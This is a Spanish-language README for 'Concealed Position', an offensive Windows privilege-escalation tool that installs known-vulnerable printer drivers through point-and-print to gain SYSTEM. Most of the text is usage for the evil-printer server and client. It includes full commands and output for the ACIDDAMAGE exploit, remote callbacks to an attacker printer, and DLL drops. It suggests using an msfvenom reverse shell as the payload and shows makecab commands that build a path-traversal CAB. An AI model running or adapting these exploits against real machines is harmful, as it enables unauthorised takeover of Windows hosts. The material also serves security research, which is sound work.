
Herramienta de escalada de privilegios mediante controlador de impresión propio
Posición Oculta es un ataque de escalada de privilegios locales contra Windows que utiliza el concepto de "Trae tu propia vulnerabilidad". Específicamente, Posición Oculta (CP) utiliza la lógica tal como fue diseñada de paquete punto e impresión en Windows que permite a un usuario con pocos privilegios preparar e instalar controladores de impresora. CP instala específicamente controladores con vulnerabilidades conocidas que luego se explotan para escalar a SYSTEM. Posición Oculta se presentó por primera vez en DEF CON 29.
Posición Oculta ofrece cuatro exploits, todos con nombres igualmente tontos:
Los exploits son interesantes porque, además de SLASHINGDAMAGE, seguirán funcionando incluso después de que los problemas estén parcheados. El único mecanismo que Windows tiene para impedir que los usuarios usen controladores antiguos es revocar el certificado del controlador, algo que no(?) se ha hecho históricamente.
Probablemente ACIDDAMAGE. RADIANTDAMAGE y POISONDAMAGE son condiciones de carrera (para sobrescribir una DLL) y SLASHINGDAMAGE, con suerte, está parcheado en casi todas partes.
Posición Oculta tiene dos partes. Una impresora malvada y un cliente. El cliente contacta al servidor, obtiene un controlador, lo almacena en el almacén de controladores, instala la impresora y explota el proceso de instalación. ¡Fácil! En términos de MSAPI, el ataque es algo así:
Paso 1: Preparar el controlador en el almacén de controladores
cliente a servidor: GetPrinterDriver
servidor a cliente: Respuesta con el controlador
Paso 2: Instalar el controlador desde el almacén de controladores
cliente: InstallPrinterDriverFromPackage
Paso 3: Agregar una impresora local (etapa de explotación)
cliente: Add Printer
Es importante notar que SLASHINGDAMAGE en realidad no funciona así. SLASHINGDAMAGE es una implementación del ataque de impresora malvada descrito en DEFCON 28 (2020) y ha sido parcheado desde hace mucho tiempo. Simplemente me gusta el ataque (inspiró el resto de este desarrollo) y pensé en dejar el exploit en mi servidor malvado... por más confuso que pueda ser.
Se podría argumentar que sí. El almacén de controladores es una "colección confiable de paquetes de controladores de terceros" que requiere acceso de administrador para modificar. Usando GetPrinterDriver, un atacante con pocos privilegios puede preparar controladores arbitrarios en el almacén. Esto, para mí, cruza un límite de seguridad claro.
Microsoft pareció estar de acuerdo cuando emitió CVE-2021-34481.
Aunque... se podría argumentar que esto es simplemente una característica del sistema y no una vulnerabilidad en absoluto. Realmente no importa mucho. Un atacante puede escalar a SYSTEM en instalaciones estándar de Windows.
Al menos Windows 8.1 y superiores.
¡Simple! ¡Tan simple que habrá muchos párrafos para describirlo!
Primero, veamos las opciones de línea de comandos de cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
Opciones CLI:
-h, --help Mostrar el mensaje de ayuda
-e, --exploit arg El exploit a usar
-c, --cabs arg (=.\cab_files) La ubicación de los archivos cabinet
Exploits disponibles:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Arriba puedes ver que el servidor requiere dos opciones:
Por ejemplo, supongamos que queremos configurar una impresora malvada que sirva el controlador ACIDDAMAGE. Simplemente haz esto:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creando espacio temporal...
[+] Expandiendo .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Insertando en el almacén de controladores
[+] Limpiando espacio temporal
[+] Instalando el controlador de impresión
[+] ¡Controlador instalado!
[+] Instalando impresora compartida
[+] ¡Impresora compartida instalada!
[+] Automatización completada.
[!] ¡PASOS MANUALES IMPORTANTES!
[0] En Configuración de uso compartido avanzado, desactive la protección por contraseña en uso compartido.
[1] ¡Listo para usar!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Y eso es todo, verás una nueva impresora en tu sistema:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Nota que hay un paso manual que cp_server te pide que hagas. Debido a que soy un hacker de poca monta, no pude descubrir cómo configurar programáticamente la opción "Configuración de uso compartido avanzado" -> "Desactivar protección por contraseña en uso compartido". ¡Tendrás que hacerlo tú mismo!
El proceso para usar SLASHINGDAMAGE es un poco diferente. Primero necesitarás instalar CutePDF Writer (encuentra los instaladores en el directorio de terceros). Luego ejecuta cp_server y después aún necesitarás seguir un par de pasos manuales y reiniciar.
El cliente es igualmente fácil de usar. Veamos sus opciones de línea de comandos:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
Opciones CLI:
-h, --help Mostrar el mensaje de ayuda
-r, --rhost arg La dirección de la impresora malvada remota
-n, --name arg El nombre de la impresora malvada remota
-e, --exploit arg El exploit a usar
-l, --local Sin impresora remota. Solo ataque local.
-d, --dll arg Ruta a la DLL proporcionada por el usuario para ejecutar.
Exploits disponibles:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
Primero, me gustaría abordar la opción --dll. El cliente tiene un payload incrustado que simplemente escribe el archivo C:\result.txt. Sin embargo, los usuarios pueden proporcionar su propia DLL mediante esta opción. Un buen ejemplo de algo que quizás quieras usar es una shell inversa x64 producida por msfvenom. Pero para el resto de esto, simplemente asumiremos el payload incrustado.
cp_client tiene dos modos: remoto y local. La opción remota es la más interesante porque agrega el controlador vulnerable al almacén de controladores (ejecutando así la vulnerabilidad "trae tu propio controlador de impresión"), así que empezaremos con eso. Digamos que quiero conectarme de vuelta a la impresora malvada ACIDDAMAGE que configuramos anteriormente. Solo necesito proporcionar:
¡Así!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Verificando si el controlador ya está instalado
[-] El controlador no está disponible.
[+] Llamando de vuelta a la impresora malvada @ \\10.0.0.9\ACIDDAMAGE
[+] Preparando el controlador en el almacén de controladores
[+] Instalando el controlador preparado
[+] ¡Controlador instalado!
[+] Iniciando AcidDamage
[+] Verificando si C:\ProgramData\Lexmark Universal v2\ existe
[-] El directorio de destino no existe. Desencadenar instalación.
[+] Instalando impresora
[+] Leyendo C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Buscando contenido del archivo
[+] Actualizando contenido del archivo
[+] Colocando gpl actualizado
[+] Colocando Dll.dll en disco
[+] Preparando dll en c:\tmp
[+] Instalando impresora
[!] ¡Mucho éxito!
¡Eso es todo! Para ejecutar un ataque solo local, solo necesitas proporcionar el exploit:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Verificando si el controlador ya está instalado
[+] ¡Controlador instalado!
[+] Iniciando AcidDamage
[+] Verificando si C:\ProgramData\Lexmark Universal v2\ existe
[-] El directorio de destino no existe. Desencadenar instalación.
[+] Instalando impresora
[+] Leyendo C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Buscando contenido del archivo
[+] Actualizando contenido del archivo
[+] Colocando gpl actualizado
[+] Colocando Dll.dll en disco
[+] Preparando dll en c:\tmp
[+] Instalando impresora
[!] ¡Mucho éxito!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE no necesita un cliente especial para la explotación. Puedes usar la interfaz de usuario o la línea de comandos para conectarte a la impresora remota y eso es todo. Desafortunadamente, si deseas crear un payload personalizado, necesitarás actualizar el CAB en el directorio cab_files. Pero eso es fácil. Algo así:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
Probablemente sea importante saber que la versión de SLASHINGDAMAGE en el repositorio coloca ualapi.dll en SYSTEM32 y, cuando se ejecuta al reiniciar, coloca el archivo C:\result.txt.
¿Quieres enviar una solicitud de extracción o reportar un error? ¡Genial! Lo aprecio, pero si no proporcionas suficientes detalles para reproducir un error o explicar por qué una solicitud de extracción debería ser aceptada, entonces hay un 100% de probabilidades de que cierre tu problema sin comentarios. Te aprecio, pero también estoy bastante ocupado.
Una cosa a tener en cuenta es que la DLL inject_me está realmente incrustada en cp_client como un array C. Si actualizas inject_me, necesitarás actualizar manualmente el array C también (solo usa xxd para generar el array).